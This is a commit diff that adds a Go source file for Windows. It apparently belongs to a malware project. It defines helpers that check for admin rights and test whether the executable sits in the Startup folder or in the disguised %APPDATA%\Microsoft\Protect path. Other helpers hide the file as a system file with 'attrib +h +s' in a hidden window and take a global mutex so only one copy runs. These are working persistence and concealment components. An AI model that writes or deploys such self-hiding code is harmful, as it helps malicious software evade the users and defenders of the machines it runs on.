initial commit
This commit is contained in:
@@ -0,0 +1,53 @@
|
||||
package program
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"syscall"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
func IsElevated() bool {
|
||||
ret, _, _ := syscall.NewLazyDLL("shell32.dll").NewProc("IsUserAnAdmin").Call()
|
||||
return ret != 0
|
||||
}
|
||||
|
||||
func IsInStartupPath() bool {
|
||||
exePath, err := os.Executable()
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
exePath = filepath.Dir(exePath)
|
||||
|
||||
if exePath == "C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup" {
|
||||
return true
|
||||
}
|
||||
|
||||
if exePath == filepath.Join(os.Getenv("APPDATA"), "Microsoft", "Protect") {
|
||||
return true
|
||||
}
|
||||
|
||||
return false
|
||||
}
|
||||
|
||||
func HideSelf() {
|
||||
exe, err := os.Executable()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
cmd := exec.Command("attrib", "+h", "+s", exe)
|
||||
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
|
||||
|
||||
cmd.Run()
|
||||
}
|
||||
|
||||
func IsAlreadyRunning() bool {
|
||||
const AppID = "3575651c-bb47-448e-a514-22865732bbc"
|
||||
|
||||
_, err := windows.CreateMutex(nil, false, syscall.StringToUTF16Ptr(fmt.Sprintf("Global\\%s", AppID)))
|
||||
return err != nil
|
||||
}
|
||||
Reference in New Issue
Block a user